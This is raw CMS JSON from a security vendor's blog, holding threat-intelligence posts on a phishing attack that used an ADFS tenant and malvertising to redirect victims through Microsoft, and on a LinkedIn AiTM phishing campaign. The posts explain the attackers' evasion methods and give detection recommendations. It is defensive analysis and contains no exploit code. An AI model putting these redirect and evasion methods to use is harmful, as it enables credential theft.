",{"data":17147,"content":17148,"nodeType":866},{},[17149,17153,17162],{"data":17150,"marks":17151,"value":17152,"nodeType":865},{},[],"It turns out the attacker had set up a custom Microsoft tenant with ",{"data":17154,"content":17156,"nodeType":889},{"uri":17155},"https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview",[17157],{"data":17158,"marks":17159,"value":17161,"nodeType":865},{},[17160],{"type":1191},"Active Directory Federation Services (ADFS)",{"data":17163,"marks":17164,"value":17165,"nodeType":865},{},[]," configured. If you’re not familiar, ADFS is an SSO solution that is often used to connect on-premises Active Directory with cloud services like Microsoft 365 or Azure Active Directory. This means Microsoft will perform the redirect to the custom malicious domain. ",{"data":17167,"content":17168,"nodeType":866},{},[17169,17173,17180,17184,17193,17197],{"data":17170,"marks":17171,"value":17172,"nodeType":865},{},[],"This is strikingly similar to ",{"data":17174,"content":17175,"nodeType":889},{"uri":13274},[17176],{"data":17177,"marks":17178,"value":13280,"nodeType":865},{},[17179],{"type":1191},{"data":17181,"marks":17182,"value":17183,"nodeType":865},{},[],", a technique I’ve ",{"data":17185,"content":17187,"nodeType":889},{"uri":17186},"https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/",[17188],{"data":17189,"marks":17190,"value":17192,"nodeType":865},{},[17191],{"type":1191},"blogged about previously",{"data":17194,"marks":17195,"value":17196,"nodeType":865},{},[]," which allows you to change the identity provider domain that an application’s users authenticate through. Attackers can change this link to their phishing page that proxies the legitimate site to phish users through legitimate sign-in links — ",{"data":17198,"marks":17199,"value":17201,"nodeType":865},{},[17200],{"type":935},"so I guess that makes this ADFSjacking?",{"data":17203,"content":17207,"nodeType":921},{"target":17204},{"sys":17205},{"id":17206,"type":918,"linkType":919},"3BXyDhMC69355gLRqyIwQP",[],{"data":17209,"content":17210,"nodeType":866},{},[17211],{"data":17212,"marks":17213,"value":17214,"nodeType":865},{},[],"I had initially assumed that bluegraintours was a legitimate website that had been compromised by the attacker and used as a redirect, which is pretty common behavior for threat groups. However, it turns out that it’s actually a fake website that the attackers have probably vibe-coded. ",{"data":17216,"content":17220,"nodeType":921},{"target":17217},{"sys":17218},{"id":17219,"type":918,"linkType":919},"1hnWJ0jgsPqRELDqUeFzf3",[],{"data":17222,"content":17223,"nodeType":866},{},[17224],{"data":17225,"marks":17226,"value":17227,"nodeType":865},{},[],"It’s worth noting that this isn’t something that the phishing victim would see as part of the attack — it’s purely used as an invisible redirect. This is most likely to be an attempt to mask the nature of the domain for domain categorization purposes, which is typical for proxy-based solutions to prevent users from browsing to unapproved things — this way, automated scanners will classify it as a travel blog. ",{"data":17229,"content":17230,"nodeType":1229},{},[17231],{"data":17232,"marks":17233,"value":17235,"nodeType":865},{},[17234],{"type":935},"Conditional loading interrupted the page analysis",{"data":17237,"content":17238,"nodeType":866},{},[17239,17243,17251,17255,17262],{"data":17240,"marks":17241,"value":17242,"nodeType":865},{},[],"While the user was taken to the phishing page at the end of the chain, ",{"data":17244,"content":17246,"nodeType":889},{"uri":17245},"https://pushsecurity.github.io/phishing-techniques/techniques/conditional-loading/",[17247],{"data":17248,"marks":17249,"value":9755,"nodeType":865},{},[17250],{"type":1191},{"data":17252,"marks":17253,"value":17254,"nodeType":865},{},[]," restrictions prevented us from recreating the full attack flow when loading the initial link clicked by the user. This happens when certain conditions of the page load aren’t met. Because the kit decides I’m not a valid target, I’m redirected back to ",{"data":17256,"content":17257,"nodeType":889},{"uri":17098},[17258],{"data":17259,"marks":17260,"value":17104,"nodeType":865},{},[17261],{"type":1191},{"data":17263,"marks":17264,"value":17265,"nodeType":865},{},[],". However, we were able to skip ahead and bypass the conditional loading to access the phishing server directly. ",{"data":17267,"content":17271,"nodeType":921},{"target":17268},{"sys":17269},{"id":17270,"type":918,"linkType":919},"68rW6CHJOJ2u3mCc08lGvZ",[],{"data":17273,"content":17274,"nodeType":944},{},[],{"data":17276,"content":17277,"nodeType":953},{},[17278],{"data":17279,"marks":17280,"value":10120,"nodeType":865},{},[17281],{"type":935},{"data":17283,"content":17284,"nodeType":866},{},[17285,17289,17298],{"data":17286,"marks":17287,"value":17288,"nodeType":865},{},[],"While this isn’t a vulnerability per se, the ability for attackers to add their own Microsoft ADFS server to host their phishing page and have Microsoft redirect to it is a concerning development that will make URL-based detections even more challenging than they already are. ",{"data":17290,"content":17292,"nodeType":889},{"uri":17291},"https://pushsecurity.github.io/phishing-techniques/techniques/trusted-website-hosting/",[17293],{"data":17294,"marks":17295,"value":17297,"nodeType":865},{},[17296],{"type":1191},"Hosting phishing links on trusted third-party websites",{"data":17299,"marks":17300,"value":17301,"nodeType":865},{},[]," is a highly effective way of both bypassing URL-based detections and implementing layers of obfuscation in their phishing delivery chain that can break automated analysis tools.  ",{"data":17303,"content":17304,"nodeType":866},{},[17305,17309,17318],{"data":17306,"marks":17307,"value":17308,"nodeType":865},{},[],"This is basically the equivalent to ",{"data":17310,"content":17312,"nodeType":889},{"uri":17311},"http://outlook.com",[17313],{"data":17314,"marks":17315,"value":17317,"nodeType":865},{},[17316],{"type":1191},"Outlook.com",{"data":17319,"marks":17320,"value":17321,"nodeType":865},{},[]," having an open redirect vulnerability, which would be a huge deal in the eyes of most security practitioners. In practice, it’s a little harder for the average attacker to make use of this, but anyone that is willing to create a Microsoft tenant and set up ADFS could create similar phishing infrastructure  — which only requires passing a credit card check. ",{"data":17323,"content":17324,"nodeType":866},{},[17325,17329,17336,17340,17348],{"data":17326,"marks":17327,"value":17328,"nodeType":865},{},[],"The other notable component to this attack is the use of ",{"data":17330,"content":17331,"nodeType":889},{"uri":17069},[17332],{"data":17333,"marks":17334,"value":441,"nodeType":865},{},[17335],{"type":1191},{"data":17337,"marks":17338,"value":17339,"nodeType":865},{},[]," as the lure delivery channel. This is a trend we spotted recently with ",{"data":17341,"content":17342,"nodeType":889},{"uri":13158},[17343],{"data":17344,"marks":17345,"value":17347,"nodeType":865},{},[17346],{"type":1191},"Scattered Spider’s use of Onfido-based malvertising lures",{"data":17349,"marks":17350,"value":17351,"nodeType":865},{},[],". Malvertising is a great way for attackers to sidestep phishing controls placed at the email layer (where the majority are) and, as in this case, can create a highly-convincing and difficult-to-spot phishing scenario.  ",{"data":17353,"content":17356,"nodeType":921},{"target":17354},{"sys":17355},{"id":9540,"type":918,"linkType":919},[],{"data":17358,"content":17359,"nodeType":944},{},[],{"data":17361,"content":17362,"nodeType":953},{},[17363],{"data":17364,"marks":17365,"value":17367,"nodeType":865},{},[17366],{"type":935},"Detection recommendations",{"data":17369,"content":17370,"nodeType":866},{},[17371],{"data":17372,"marks":17373,"value":17374,"nodeType":865},{},[],"There are a couple of tool-agnostic hardening options that can used to limit exposure to the specifics of this attack:",{"data":17376,"content":17377,"nodeType":2374},{},[17378,17388,17409],{"data":17379,"content":17380,"nodeType":2309},{},[17381],{"data":17382,"content":17383,"nodeType":866},{},[17384],{"data":17385,"marks":17386,"value":17387,"nodeType":865},{},[],"Monitoring for ADFS redirects in proxy logs that could be malicious, i.e. login.microsoftonline.com redirecting to another domain with /adfs/ls/ in the path. Many organizations do not use ADFS, while those that do should be able to filter legitimate ones to their legitimate domain relatively easily. ",{"data":17389,"content":17390,"nodeType":2309},{},[17391],{"data":17392,"content":17393,"nodeType":866},{},[17394,17398,17405],{"data":17395,"marks":17396,"value":17397,"nodeType":865},{},[],"Monitoring for Google redirects to ",{"data":17399,"content":17400,"nodeType":889},{"uri":17098},[17401],{"data":17402,"marks":17403,"value":17104,"nodeType":865},{},[17404],{"type":1191},{"data":17406,"marks":17407,"value":17408,"nodeType":865},{},[]," with Google ad parameters for more specific detection of malvertising + ADFS hijacking as in this example. ",{"data":17410,"content":17411,"nodeType":2309},{},[17412],{"data":17413,"content":17414,"nodeType":866},{},[17415,17419,17428,17431,17440,17443,17452,17455,17464],{"data":17416,"marks":17417,"value":17418,"nodeType":865},{},[],"Deploying ad blockers to all of your browsers to stop malvertising attacks — though this only serves to tackle one of the several possible delivery vectors, such as links delivered using ",{"data":17420,"content":17422,"nodeType":889},{"uri":17421},"https://pushsecurity.github.io/phishing-techniques/techniques/email-legitimate-app/",[17423],{"data":17424,"marks":17425,"value":17427,"nodeType":865},{},[17426],{"type":1191},"legitimate third-party services",{"data":17429,"marks":17430,"value":3202,"nodeType":865},{},[],{"data":17432,"content":17434,"nodeType":889},{"uri":17433},"https://pushsecurity.github.io/phishing-techniques/techniques/social-media/",[17435],{"data":17436,"marks":17437,"value":17439,"nodeType":865},{},[17438],{"type":1191},"social media",{"data":17441,"marks":17442,"value":3202,"nodeType":865},{},[],{"data":17444,"content":17446,"nodeType":889},{"uri":17445},"https://pushsecurity.github.io/phishing-techniques/techniques/instant-messenger/",[17447],{"data":17448,"marks":17449,"value":17451,"nodeType":865},{},[17450],{"type":1191},"instant messenger",{"data":17453,"marks":17454,"value":3215,"nodeType":865},{},[],{"data":17456,"content":17458,"nodeType":889},{"uri":17457},"https://pushsecurity.github.io/phishing-techniques/techniques/email-attachment/",[17459],{"data":17460,"marks":17461,"value":17463,"nodeType":865},{},[17462],{"type":1191},"email attachment",{"data":17465,"marks":17466,"value":17467,"nodeType":865},{},[],". (This is one of the limitations of focusing on specific delivery mechanisms — attackers have more to choose from than ever before. It’s not just an email problem). ",{"data":17469,"content":17470,"nodeType":944},{},[],{"data":17472,"content":17473,"nodeType":953},{},[17474],{"data":17475,"marks":17476,"value":5589,"nodeType":865},{},[17477],{"type":935},{"data":17479,"content":17480,"nodeType":866},{},[17481,17485,17491],{"data":17482,"marks":17483,"value":17484,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks, or relies on outdated domain TI feeds. It doesn’t matter what ",{"data":17486,"content":17487,"nodeType":889},{"uri":1388},[17488],{"data":17489,"marks":17490,"value":10440,"nodeType":865},{},[],{"data":17492,"marks":17493,"value":16326,"nodeType":865},{},[],{"data":17495,"content":17496,"nodeType":866},{},[17497],{"data":17498,"marks":17499,"value":17500,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying, and session hijacking using stolen session tokens. ",{"data":17502,"content":17503,"nodeType":866},{},[17504],{"data":17505,"marks":17506,"value":17507,"nodeType":865},{},[],"You can also use Push to find and fix identity vulnerabilities across every app that your employees use, including ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":17509,"content":17510,"nodeType":866},{},[17511,17515,17523],{"data":17512,"marks":17513,"value":17514,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":17516,"content":17517,"nodeType":889},{"uri":1487},[17518],{"data":17519,"marks":17520,"value":17522,"nodeType":865},{},[17521],{"type":1191},"request a demo.",{"data":17524,"marks":17525,"value":21,"nodeType":865},{},[],{"entries":17527},{"hyperlink":17528,"inline":17529,"block":17530},[],[],[17531,17538,17544,17550,17556],{"sys":17532,"__typename":1671,"title":17533,"caption":17533,"layoutMode":59,"file":17534},{"id":17035},"Timeline from the detection event — in this case, the control was configured in “monitor” mode, so it was not automatically blocked. ",{"url":17535,"width":17536,"height":17537},"https://images.ctfassets.net/y1cdw1ablpvd/40mzFhR7ZwbsVhuVQBPtmo/ffb413710cdcde1879b1246b140528da/image4.png",1818,1536,{"sys":17539,"__typename":1671,"title":17540,"caption":17540,"layoutMode":59,"file":17541},{"id":17206},"The authorization request being passed to the ADFS server for bluegraintours.",{"url":17542,"width":1675,"height":17543},"https://images.ctfassets.net/y1cdw1ablpvd/29R1ECNuEmmzH61DIdZPNL/011f52d836662fb9e384880718ee6588/image2.png",818,{"sys":17545,"__typename":1671,"title":17546,"caption":17546,"layoutMode":59,"file":17547},{"id":17219},"Screen capture of the bluegraintours site, includes a fake blog with entries from \"John Doe\" and \"Jane Smith\" as well as fake addresses which were definite giveaways that this is a fake, likely AI-generated site.",{"url":17548,"width":1675,"height":17549},"https://images.ctfassets.net/y1cdw1ablpvd/1W3XqoHwF8BrQ71EbiG0MH/a07ca08d9c4395007104109466b9a336/image1.png",861,{"sys":17551,"__typename":1671,"title":17552,"caption":17552,"layoutMode":59,"file":17553},{"id":17270},"The very standard-looking malicious Microsoft login page. ",{"url":17554,"width":1675,"height":17555},"https://images.ctfassets.net/y1cdw1ablpvd/4kchCJSXKscISpZir2PJA9/4eb30043165a6a6ad27a7c74326832a5/image3.png",1320,{"sys":17557,"__typename":6765,"type":6766,"ctaText":9635,"buttonLabel":9636,"buttonColour":6769,"buttonUrl":9568},{"id":9540},{"items":17559},[],{},"Attackers are using legit Microsoft services for phishing","2025-08-12T00:00:00.000Z",{"items":17564},[17565,18010,18493],{"__typename":1802,"sys":17566,"content":17568,"title":17996,"synopsis":17997,"hashTags":59,"publishedDate":17998,"slug":17999,"tagsCollection":18000,"authorsCollection":18006},{"id":17567},"4vPEPmjd8MOlARD7oXfOrj",{"json":17569},{"data":17570,"content":17571,"nodeType":1663},{},[17572,17589,17605,17611,17618,17625,17628,17636,17654,17661,17667,17674,17680,17687,17693,17700,17706,17713,17719,17722,17730,17748,17754,17762,17781,17789,17820,17827,17835,17851,17858,17877,17883,17886,17893,17912,17919,17924,17927,17934,17950,17957,17964,17970],{"data":17573,"content":17574,"nodeType":866},{},[17575,17579,17586],{"data":17576,"marks":17577,"value":17578,"nodeType":865},{},[],"Push recently detected and blocked a high-risk LinkedIn phishing attack that demonstrated a number of crafty (and increasingly common) ",{"data":17580,"content":17581,"nodeType":889},{"uri":1388},[17582],{"data":17583,"marks":17584,"value":9135,"nodeType":865},{},[17585],{"type":1191},{"data":17587,"marks":17588,"value":3017,"nodeType":865},{},[],{"data":17590,"content":17591,"nodeType":866},{},[17592,17596,17601],{"data":17593,"marks":17594,"value":17595,"nodeType":865},{},[],"Phishing via LinkedIn is increasingly common, although it often goes undetected and unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. In contrast to email-centric reporting, ",{"data":17597,"marks":17598,"value":17600,"nodeType":865},{},[17599],{"type":935},"34% of the phishing attacks intercepted by Push last month came through non-email channels",{"data":17602,"marks":17603,"value":17604,"nodeType":865},{},[]," like social media, IM platforms, malicious search engine ads, and in-app communications. ",{"data":17606,"content":17610,"nodeType":921},{"target":17607},{"sys":17608},{"id":17609,"type":918,"linkType":919},"7i8panfdFUqW9wqYkd9uDc",[],{"data":17612,"content":17613,"nodeType":866},{},[17614],{"data":17615,"marks":17616,"value":17617,"nodeType":865},{},[],"Phishing via LinkedIn is a great way to catch victims unawares and evade traditionally email-based anti-phishing controls. While often used for work and commonly accessed from corporate devices, it sits outside the purview of enterprise security tools, exploiting a visibility and control blind spot. ",{"data":17619,"content":17620,"nodeType":866},{},[17621],{"data":17622,"marks":17623,"value":17624,"nodeType":865},{},[],"Let’s break it down. ",{"data":17626,"content":17627,"nodeType":944},{},[],{"data":17629,"content":17630,"nodeType":953},{},[17631],{"data":17632,"marks":17633,"value":17635,"nodeType":865},{},[17634],{"type":935},"Phishing attack breakdown",{"data":17637,"content":17638,"nodeType":866},{},[17639,17643,17651],{"data":17640,"marks":17641,"value":17642,"nodeType":865},{},[],"The victim was sent a malicious link via LinkedIn DM relating to a fake investment opportunity for executives ",{"data":17644,"content":17646,"nodeType":889},{"uri":17645},"https://www.bleepingcomputer.com/news/security/linkedin-phishing-targets-finance-execs-with-fake-board-invites/",[17647],{"data":17648,"marks":17649,"value":17650,"nodeType":865},{},[],"to join the executive board of a newly created \"Common Wealth\" investment fund.",{"data":17652,"marks":17653,"value":3757,"nodeType":865},{},[],{"data":17655,"content":17656,"nodeType":866},{},[17657],{"data":17658,"marks":17659,"value":17660,"nodeType":865},{},[],"After clicking the link, they were redirected three times — via Google Search, and then payrails-canaccord[.]icu/(redacted) — before being sent to a custom landing page hosted on firebasestorage.googleapis[.]com/(redacted). ",{"data":17662,"content":17666,"nodeType":921},{"target":17663},{"sys":17664},{"id":17665,"type":918,"linkType":919},"65PeJOKzn6Ba7FDUQRae3Q",[],{"data":17668,"content":17669,"nodeType":866},{},[17670],{"data":17671,"marks":17672,"value":17673,"nodeType":865},{},[],"Upon clicking on one of the document links on the page, the victim is prompted to “view with Microsoft”. ",{"data":17675,"content":17679,"nodeType":921},{"target":17676},{"sys":17677},{"id":17678,"type":918,"linkType":919},"4f27KuwTRx1Do59rs3JoVl",[],{"data":17681,"content":17682,"nodeType":866},{},[17683],{"data":17684,"marks":17685,"value":17686,"nodeType":865},{},[],"The user is then met with a Cloudflare Turnstile gate challenge at login.kggpho[.]icu before the page will fully render, and malicious content is loaded. ",{"data":17688,"content":17692,"nodeType":921},{"target":17689},{"sys":17690},{"id":17691,"type":918,"linkType":919},"3lpVmLBZSocOSGdlCKhKnD",[],{"data":17694,"content":17695,"nodeType":866},{},[17696],{"data":17697,"marks":17698,"value":17699,"nodeType":865},{},[],"The Microsoft-impersonating AITM phishing page is then served to the victim. Entering credentials and completing the MFA check will result in their Microsoft session being stolen by the attacker. ",{"data":17701,"content":17705,"nodeType":921},{"target":17702},{"sys":17703},{"id":17704,"type":918,"linkType":919},"5FCa4EJwyux13K9KBT3nd4",[],{"data":17707,"content":17708,"nodeType":866},{},[17709],{"data":17710,"marks":17711,"value":17712,"nodeType":865},{},[],"You can see the full timeline of events in the Detection Timeline below. ",{"data":17714,"content":17718,"nodeType":921},{"target":17715},{"sys":17716},{"id":17717,"type":918,"linkType":919},"8lizkPJcGdZhtWFV2QEwQ",[],{"data":17720,"content":17721,"nodeType":944},{},[],{"data":17723,"content":17724,"nodeType":953},{},[17725],{"data":17726,"marks":17727,"value":17729,"nodeType":865},{},[17728],{"type":935},"Detection evasion techniques observed",{"data":17731,"content":17732,"nodeType":866},{},[17733,17737,17744],{"data":17734,"marks":17735,"value":17736,"nodeType":865},{},[],"The attacker used a number of ",{"data":17738,"content":17739,"nodeType":889},{"uri":1388},[17740],{"data":17741,"marks":17742,"value":9135,"nodeType":865},{},[17743],{"type":1191},{"data":17745,"marks":17746,"value":17747,"nodeType":865},{},[]," to prevent the phishing site being analysed and detected by security tools. ",{"data":17749,"content":17753,"nodeType":921},{"target":17750},{"sys":17751},{"id":17752,"type":918,"linkType":919},"7q9D1MREwTCCpnjvZZ5wk1",[],{"data":17755,"content":17756,"nodeType":1229},{},[17757],{"data":17758,"marks":17759,"value":17761,"nodeType":865},{},[17760],{"type":935},"LinkedIn delivery",{"data":17763,"content":17764,"nodeType":866},{},[17765,17769,17777],{"data":17766,"marks":17767,"value":17768,"nodeType":865},{},[],"As we mentioned above, sending phishing lures via ",{"data":17770,"content":17771,"nodeType":889},{"uri":15991},[17772],{"data":17773,"marks":17774,"value":17776,"nodeType":865},{},[17775],{"type":1191},"social media apps",{"data":17778,"marks":17779,"value":17780,"nodeType":865},{},[]," like LinkedIn is a great way to reach employees in a place that they expect to be contacted by people outside of their organization. By evading the traditional phishing control point altogether (email) attackers significantly reduce the risk of interception. ",{"data":17782,"content":17783,"nodeType":1229},{},[17784],{"data":17785,"marks":17786,"value":17788,"nodeType":865},{},[17787],{"type":935},"Lengthy redirect chain through trusted sites",{"data":17790,"content":17791,"nodeType":866},{},[17792,17796,17804,17808,17816],{"data":17793,"marks":17794,"value":17795,"nodeType":865},{},[],"Attackers use ",{"data":17797,"content":17798,"nodeType":889},{"uri":1517},[17799],{"data":17800,"marks":17801,"value":17803,"nodeType":865},{},[17802],{"type":1191},"lengthy redirect chains",{"data":17805,"marks":17806,"value":17807,"nodeType":865},{},[]," in combination with hosting pages on ",{"data":17809,"content":17810,"nodeType":889},{"uri":13104},[17811],{"data":17812,"marks":17813,"value":17815,"nodeType":865},{},[17814],{"type":1191},"legitimate, trusted sites",{"data":17817,"marks":17818,"value":17819,"nodeType":865},{},[]," (in this case Firebase, Google’s app development platform). This is a technique we see a lot, with various Google and Microsoft sites cropping up time and again, including Google Forms, Google Sites, Google Script, Google AMP, Microsoft Dynamics, SharePoint, Azure Front Door, and many more, all used by attackers as part of their phishing attacks. ",{"data":17821,"content":17822,"nodeType":866},{},[17823],{"data":17824,"marks":17825,"value":17826,"nodeType":865},{},[],"Legitimate services are less likely to be flagged by link analysis tools and effectively cloak the initial URL delivered to the victim to increase the chance of successful delivery of and access to the link, while many services are excluded from page scanning tools owing to their association with trusted domains. ",{"data":17828,"content":17829,"nodeType":1229},{},[17830],{"data":17831,"marks":17832,"value":17834,"nodeType":865},{},[17833],{"type":935},"Bot protection",{"data":17836,"content":17837,"nodeType":866},{},[17838,17841,17848],{"data":17839,"marks":17840,"value":15521,"nodeType":865},{},[],{"data":17842,"content":17843,"nodeType":889},{"uri":15524},[17844],{"data":17845,"marks":17846,"value":15530,"nodeType":865},{},[17847],{"type":1191},{"data":17849,"marks":17850,"value":15534,"nodeType":865},{},[],{"data":17852,"content":17853,"nodeType":1229},{},[17854],{"data":17855,"marks":17856,"value":12907,"nodeType":865},{},[17857],{"type":935},{"data":17859,"content":17860,"nodeType":866},{},[17861,17865,17873],{"data":17862,"marks":17863,"value":17864,"nodeType":865},{},[],"Phishing pages ",{"data":17866,"content":17867,"nodeType":889},{"uri":12901},[17868],{"data":17869,"marks":17870,"value":17872,"nodeType":865},{},[17871],{"type":1191},"change and even randomize elements of the page",{"data":17874,"marks":17875,"value":17876,"nodeType":865},{},[]," to avoid static fingerprints and defeat comparison-based checks against real pages. This includes the page title, text, images, backgrounds, logos, favicons, etc. — all of which may be signatured components using web page analysis tools. These elements can even be embedded in an encoded form so it isn’t present in the initial HTML, and is instead dynamically set at runtime when loaded. As an example, you can see that the page randomly generated the tab header text.",{"data":17878,"content":17882,"nodeType":921},{"target":17879},{"sys":17880},{"id":17881,"type":918,"linkType":919},"2bbOZC9M4y69ACDy7bn209",[],{"data":17884,"content":17885,"nodeType":944},{},[],{"data":17887,"content":17888,"nodeType":953},{},[17889],{"data":17890,"marks":17891,"value":1378,"nodeType":865},{},[17892],{"type":935},{"data":17894,"content":17895,"nodeType":866},{},[17896,17900,17908],{"data":17897,"marks":17898,"value":17899,"nodeType":865},{},[],"We’re seeing ",{"data":17901,"content":17902,"nodeType":889},{"uri":13084},[17903],{"data":17904,"marks":17905,"value":17907,"nodeType":865},{},[17906],{"type":1191},"many phishing campaigns pivoting to social media apps like LinkedIn",{"data":17909,"marks":17910,"value":17911,"nodeType":865},{},[]," and organizations should be on guard against this attack vector, which is highly effective at evading common anti-phishing controls.  ",{"data":17913,"content":17914,"nodeType":866},{},[17915],{"data":17916,"marks":17917,"value":17918,"nodeType":865},{},[],"Just because the attack happens over LinkedIn doesn’t lessen the impact — these are corporate credentials and accounts being targeted, even if it is nominally a “personal” application. Taking over a core identity like a Microsoft or Google account can have wide-ranging consequences, putting data at risk in both core apps and any downstream apps that can be accessed via SSO from the compromised account. ",{"data":17920,"content":17923,"nodeType":921},{"target":17921},{"sys":17922},{"id":9540,"type":918,"linkType":919},[],{"data":17925,"content":17926,"nodeType":944},{},[],{"data":17928,"content":17929,"nodeType":953},{},[17930],{"data":17931,"marks":17932,"value":10412,"nodeType":865},{},[17933],{"type":935},{"data":17935,"content":17936,"nodeType":866},{},[17937,17940,17947],{"data":17938,"marks":17939,"value":10432,"nodeType":865},{},[],{"data":17941,"content":17942,"nodeType":889},{"uri":1388},[17943],{"data":17944,"marks":17945,"value":10440,"nodeType":865},{},[17946],{"type":1191},{"data":17948,"marks":17949,"value":10444,"nodeType":865},{},[],{"data":17951,"content":17952,"nodeType":866},{},[17953],{"data":17954,"marks":17955,"value":17956,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":17958,"content":17959,"nodeType":866},{},[17960],{"data":17961,"marks":17962,"value":17963,"nodeType":865},{},[],"Check out the demo below to see Push detect and block this attack in real-time. ",{"data":17965,"content":17969,"nodeType":921},{"target":17966},{"sys":17967},{"id":17968,"type":918,"linkType":919},"5VsFECWlJ1HNGtC0jUcPjH",[],{"data":17971,"content":17972,"nodeType":866},{},[17973,17976,17983,17986,17993],{"data":17974,"marks":17975,"value":9514,"nodeType":865},{},[],{"data":17977,"content":17978,"nodeType":889},{"uri":3192},[17979],{"data":17980,"marks":17981,"value":3198,"nodeType":865},{},[17982],{"type":1191},{"data":17984,"marks":17985,"value":9525,"nodeType":865},{},[],{"data":17987,"content":17988,"nodeType":889},{"uri":2644},[17989],{"data":17990,"marks":17991,"value":3223,"nodeType":865},{},[17992],{"type":1191},{"data":17994,"marks":17995,"value":1066,"nodeType":865},{},[],"New phishing campaign identified targeting LinkedIn users","Diving into the latest sophisticated LinkedIn phishing campaign intercepted by Push. ","2025-10-30T00:00:00.000Z","new-phishing-campaign-identified-targeting-linkedin-users",{"items":18001},[18002,18004],{"sys":18003,"name":342},{"id":2666},{"sys":18005,"name":2663},{"id":2662},{"items":18007},[18008],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":18009},{"url":2674},{"__typename":1802,"sys":18011,"content":18012,"title":15798,"synopsis":15799,"hashTags":59,"publishedDate":15800,"slug":15801,"tagsCollection":18483,"authorsCollection":18489},{"id":15254},{"json":18013},{"data":18014,"content":18015,"nodeType":1663},{},[18016,18022,18028,18054,18060,18066,18072,18075,18082,18098,18104,18109,18115,18120,18126,18131,18137,18142,18148,18153,18159,18165,18170,18173,18180,18196,18202,18208,18213,18229,18236,18252,18259,18275,18281,18286,18312,18319,18345,18352,18368,18373,18376,18383,18399,18404,18407,18414,18420,18426,18429,18436,18442,18448,18472,18477],{"data":18017,"content":18018,"nodeType":866},{},[18019],{"data":18020,"marks":18021,"value":15265,"nodeType":865},{},[],{"data":18023,"content":18024,"nodeType":866},{},[18025],{"data":18026,"marks":18027,"value":9107,"nodeType":865},{},[],{"data":18029,"content":18030,"nodeType":866},{},[18031,18034,18041,18044,18051],{"data":18032,"marks":18033,"value":15278,"nodeType":865},{},[],{"data":18035,"content":18036,"nodeType":889},{"uri":15281},[18037],{"data":18038,"marks":18039,"value":9123,"nodeType":865},{},[18040],{"type":1191},{"data":18042,"marks":18043,"value":9127,"nodeType":865},{},[],{"data":18045,"content":18046,"nodeType":889},{"uri":1388},[18047],{"data":18048,"marks":18049,"value":9135,"nodeType":865},{},[18050],{"type":1191},{"data":18052,"marks":18053,"value":15300,"nodeType":865},{},[],{"data":18055,"content":18056,"nodeType":866},{},[18057],{"data":18058,"marks":18059,"value":15307,"nodeType":865},{},[],{"data":18061,"content":18062,"nodeType":866},{},[18063],{"data":18064,"marks":18065,"value":15314,"nodeType":865},{},[],{"data":18067,"content":18068,"nodeType":866},{},[18069],{"data":18070,"marks":18071,"value":15321,"nodeType":865},{},[],{"data":18073,"content":18074,"nodeType":944},{},[],{"data":18076,"content":18077,"nodeType":953},{},[18078],{"data":18079,"marks":18080,"value":15332,"nodeType":865},{},[18081],{"type":935},{"data":18083,"content":18084,"nodeType":866},{},[18085,18088,18095],{"data":18086,"marks":18087,"value":15339,"nodeType":865},{},[],{"data":18089,"content":18090,"nodeType":889},{"uri":15342},[18091],{"data":18092,"marks":18093,"value":15348,"nodeType":865},{},[18094],{"type":1191},{"data":18096,"marks":18097,"value":15352,"nodeType":865},{},[],{"data":18099,"content":18100,"nodeType":866},{},[18101],{"data":18102,"marks":18103,"value":15359,"nodeType":865},{},[],{"data":18105,"content":18108,"nodeType":921},{"target":18106},{"sys":18107},{"id":15364,"type":918,"linkType":919},[],{"data":18110,"content":18111,"nodeType":866},{},[18112],{"data":18113,"marks":18114,"value":15372,"nodeType":865},{},[],{"data":18116,"content":18119,"nodeType":921},{"target":18117},{"sys":18118},{"id":15377,"type":918,"linkType":919},[],{"data":18121,"content":18122,"nodeType":866},{},[18123],{"data":18124,"marks":18125,"value":15385,"nodeType":865},{},[],{"data":18127,"content":18130,"nodeType":921},{"target":18128},{"sys":18129},{"id":15390,"type":918,"linkType":919},[],{"data":18132,"content":18133,"nodeType":866},{},[18134],{"data":18135,"marks":18136,"value":15398,"nodeType":865},{},[],{"data":18138,"content":18141,"nodeType":921},{"target":18139},{"sys":18140},{"id":15403,"type":918,"linkType":919},[],{"data":18143,"content":18144,"nodeType":866},{},[18145],{"data":18146,"marks":18147,"value":15411,"nodeType":865},{},[],{"data":18149,"content":18152,"nodeType":921},{"target":18150},{"sys":18151},{"id":15416,"type":918,"linkType":919},[],{"data":18154,"content":18155,"nodeType":866},{},[18156],{"data":18157,"marks":18158,"value":15424,"nodeType":865},{},[],{"data":18160,"content":18161,"nodeType":866},{},[18162],{"data":18163,"marks":18164,"value":15431,"nodeType":865},{},[],{"data":18166,"content":18169,"nodeType":921},{"target":18167},{"sys":18168},{"id":15436,"type":918,"linkType":919},[],{"data":18171,"content":18172,"nodeType":944},{},[],{"data":18174,"content":18175,"nodeType":953},{},[18176],{"data":18177,"marks":18178,"value":15448,"nodeType":865},{},[18179],{"type":935},{"data":18181,"content":18182,"nodeType":866},{},[18183,18186,18193],{"data":18184,"marks":18185,"value":15455,"nodeType":865},{},[],{"data":18187,"content":18188,"nodeType":889},{"uri":15458},[18189],{"data":18190,"marks":18191,"value":15464,"nodeType":865},{},[18192],{"type":1191},{"data":18194,"marks":18195,"value":15468,"nodeType":865},{},[],{"data":18197,"content":18198,"nodeType":866},{},[18199],{"data":18200,"marks":18201,"value":15475,"nodeType":865},{},[],{"data":18203,"content":18204,"nodeType":866},{},[18205],{"data":18206,"marks":18207,"value":15482,"nodeType":865},{},[],{"data":18209,"content":18212,"nodeType":921},{"target":18210},{"sys":1821